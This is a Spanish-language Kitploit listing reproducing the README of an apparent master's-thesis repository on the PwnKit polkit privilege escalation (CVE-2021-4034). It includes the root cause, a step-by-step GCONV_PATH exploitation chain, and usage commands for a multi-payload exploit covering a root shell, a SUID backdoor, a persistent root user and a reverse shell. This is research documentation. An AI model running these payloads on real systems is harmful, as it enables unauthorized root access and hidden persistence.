Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-4034 — Investigación avanzada de escalada de privilegios en Linux sobre CVE-2021-4034 (PwnKit). Incluye un exploit optimizado con 7 modos de carga útil polimórficos (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Pieza de portafolio centrada en lógica de corrupción de memoria, manipulación de variables de entorno y técnicas anti-forenses. | Kitploit
Herramientas/GitHubGitHub/devianntsec/cve-2021-4034
Escalada de PrivilegiosForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Explotación de Binarios
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Ver Repositorio
11hace 4 mesesAún no revisado

Acerca de

Investigación avanzada de escalada de privilegios en Linux sobre CVE-2021-4034 (PwnKit). Incluye un exploit optimizado con 7 modos de carga útil polimórficos (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Pieza de portafolio centrada en lógica de corrupción de memoria, manipulación de variables de entorno y técnicas anti-forenses.

Compartir

CVE-2021-4034 — PwnKit Escalada de Privilegios Local · Investigación de Tesis de Máster

Platform Language License: MIT Research CVSS

Vulnerabilidad de corrupción de memoria en la utilidad pkexec de polkit
Escalada de privilegios local → root mediante escritura fuera de límites
Afectado: polkit 0.105-31 y anteriores · Parche: polkit 0.105-33 (enero de 2022)


Shell interactiva de root obtenida a través de CVE-2021-4034 - PwnKit

Descripción

Este repositorio contiene mi investigación de Tesis de Máster sobre CVE-2021-4034, una vulnerabilidad de Escalada de Privilegios Local de gravedad Alta (CVSS 7.8) en la utilidad pkexec de polkit, comúnmente conocida como PwnKit.

La vulnerabilidad se origina por una escritura fuera de límites en la lógica de procesamiento de argumentos de pkexec. Cuando pkexec se ejecuta con argv vacío o manipulado, lee y escribe más allá de los límites del arreglo argv dentro del arreglo envp, permitiendo a un usuario local no privilegiado inyectar variables de entorno maliciosas que posteriormente se cargan como una biblioteca compartida, ejecutando código arbitrario con privilegios de root.

Mi contribución

AspectoDescripción

Estructura del repositorio

root@kitploit:~
CVE-2021-4034/
├── README.md                        # Este archivo
├── LICENSE                          # Licencia MIT
│
├── exploit/
│   └── pwnkit.py                    # Exploit avanzado con múltiples payloads
│
└── docs/
    ├── screenshots/                 # Demostraciones de explotación
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Análisis de causa raíz de la vulnerabilidad
        ├── 02-exploitation-chain.md # Desglose de la cadena de explotación
        └── 03-timeline.md           # Cronograma del CVE

Inicio rápido

Requisitos previos

  • Sistema Linux con polkit vulnerable (pkexec --version muestra 0.105 o anterior)
  • Compilador GCC (apt install gcc)
  • Python 3.6+
  • Cuenta de usuario estándar (no se requiere root)
  • Se recomienda una máquina virtual aislada para las pruebas

Uso

root@kitploit:~
# Shell interactiva de root (por defecto)
python3 exploit/pwnkit.py -p shell

# Verificar contexto de ejecución
python3 exploit/pwnkit.py -p whoami

# Ejecutar un comando personalizado como root
python3 exploit/pwnkit.py -p custom -c "id"

# Crear backdoor SUID en /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Añadir usuario root persistente
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mipassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Referencia de payloads


Resumen técnico

Causa raíz de la vulnerabilidad

pkexec procesa su propio argv para localizar el programa a ejecutar. Cuando se invoca con argc == 0 (vector de argumentos vacío), la comprobación de límites sobre argv falla silenciosamente. La posterior lectura fuera de límites trata a envp[0] como argv[1], y la escritura fuera de límites de vuelta a envp permite a un atacante reemplazar una variable de entorno con una ruta manipulada. Cuando pkexec llama posteriormente a g_printerr(), carga GCONV_PATH desde el entorno ahora controlado por el atacante, cargando una biblioteca compartida proporcionada por el atacante con privilegios de root.

root@kitploit:~
argc == 0  →  argv[1] lee envp[0]
             argv[1] = "GCONV_PATH=."  (escribe de vuelta en envp)
             pkexec carga ./pwnkit.so  (biblioteca compartida controlada por el atacante)
             gconv_init() se ejecuta como root

Cadena de explotación

root@kitploit:~
1. Crear argv = { NULL }  →  argc = 0, desencadena acceso fuera de límites
2. Establecer envp[0] = "pwnkit.so:."
3. Establecer envp[1] = "PATH=GCONV_PATH=."
4. pkexec escribe fuera de límites "pwnkit.so:." en envp[0] como si fuera argv[1]
5. pkexec resuelve GCONV_PATH=. y carga gconv-modules
6. gconv-modules mapea el conjunto de caracteres "PWNKIT" a pwnkit.so
7. Se llama a pwnkit.so:gconv_init() con privilegios de root
8. El payload se ejecuta (shell / backdoor / reverse shell / etc.)

Detalles técnicos clave


Demostraciones

Shell interactiva de root

Shell interactiva

Verificación de ID

Payload ID

Verificación de whoami

Payload Whoami

Backdoor SUID

Payload Backdoor

Añadir usuario root

Añadir usuario root

Reverse shell

Reverse shell

Comando personalizado

Payload personalizado


Pruebas empíricas

Todas las pruebas se realizaron en una máquina virtual VirtualBox aislada con Ubuntu 20.04 LTS y polkit 0.105-26 (vulnerable), sin exposición a la red.


Documentación técnica

DocumentoDescripción
Análisis de causa raízEscritura fuera de límites en el procesamiento de argumentos de pkexec

Contexto académico

Esta investigación es parte de mi Tesis de Máster en Ciberseguridad (UCAM — Campus Internacional de Ciberseguridad), analizando vulnerabilidades N-Day en múltiples entornos.

Este CVE representa el vector de escalada de privilegios local en Linux dentro de la tesis, demostrando:

  • Vulnerabilidades de seguridad de memoria en binarios SUID
  • Explotación de escritura fuera de límites mediante manipulación de variables de entorno
  • Inyección de bibliotecas compartidas a través de la infraestructura iconv de glibc
  • Diseño de un framework de post-explotación multipayload

Palabras clave: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


Autora

Annais Molina (devianntsec) — Estudiante de Máster en Ciberseguridad

GitHub LinkedIn Email


Agradecimientos

  • Equipo de Investigación de Qualys — Descubrimiento original y divulgación responsable
  • arthepsy — Prueba de concepto temprana de referencia
  • berdav — Implementación de PoC pública de referencia

Licencia

Licencia MIT — ver LICENSE


Aviso legal

Este repositorio se proporciona únicamente con fines educativos y de investigación en seguridad, como parte de una Tesis de Máster académica. Todas las pruebas se realizaron en máquinas virtuales aisladas sin exposición a la red. Úselo solo en sistemas de su propiedad o para los que tenga autorización escrita explícita para realizar pruebas. El uso no autorizado contra sistemas es ilegal y puede dar lugar a un proceso penal.

© 2026 Annais Molina · Tesis de Máster en Ciberseguridad
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
Descargar herramienta
Exploit multipayloadWrapper en Python con 6 modos de payload: shell, id, backdoor y reverse shell
Configuración automatizada del entornoConstrucción automática de GCONV_PATH y configuración de gconv-modules
Módulos de post-explotaciónBackdoor SUID, creación de usuario root y ejecución de comandos personalizados
Documentación académicaAnálisis de causa raíz, cadena de explotación y cronograma de la vulnerabilidad
PayloadDescripciónSalida
shellAbre /bin/sh interactivo como rootShell interactiva
idEscribe la salida de id y whoami en /tmp/pwnkit_id.txtArchivo
whoamiEscribe la verificación de UID/eUID en /tmp/pwnkit_root_testArchivo
backdoor_suidCrea una copia SUID de bash en /tmp/.shBackdoor persistente
add_root_userAgrega un usuario personalizado a /etc/passwdAcceso persistente
reverse_shellConecta de vuelta al atacante mediante PythonShell remota
customEjecuta cualquier comando como rootSalida estándar / archivo
ComponenteValorNotas
Binario vulnerable/usr/bin/pkexecSUID root
Condición de activaciónargc == 0argv vacío
Primitiva de escrituraEscritura fuera de límites en envpA través de argv[argc-1]
Mecanismo de cargaGCONV_PATH + gconv-modulesiconv estándar de glibc
Contexto de ejecucióngconv_init() en biblioteca compartidaSe ejecuta como EUID 0
Versiones afectadaspolkit ≤ 0.105-31Todas las distribuciones Linux principales
PayloadResultadoNotas
shell✅ Shell de root obtenidaAcceso interactivo inmediato
id✅ uid=0(root) confirmadoSalida en /tmp/pwnkit_id.txt
whoami✅ root confirmadoUID/eUID = 0
backdoor_suid✅ Bit SUID establecido en /tmp/.shPersistente tras el exploit
add_root_user✅ Usuario personalizado creadoSobrevive al reinicio
reverse_shell✅ Conexión establecidaReverse shell en Python funcionando
custom✅ Ejecución de comandos arbitrariosContexto de root completo
Cadena de explotación
Desglose paso a paso de la inyección GCONV_PATH
Cronograma del CVECronología de descubrimiento, divulgación y parche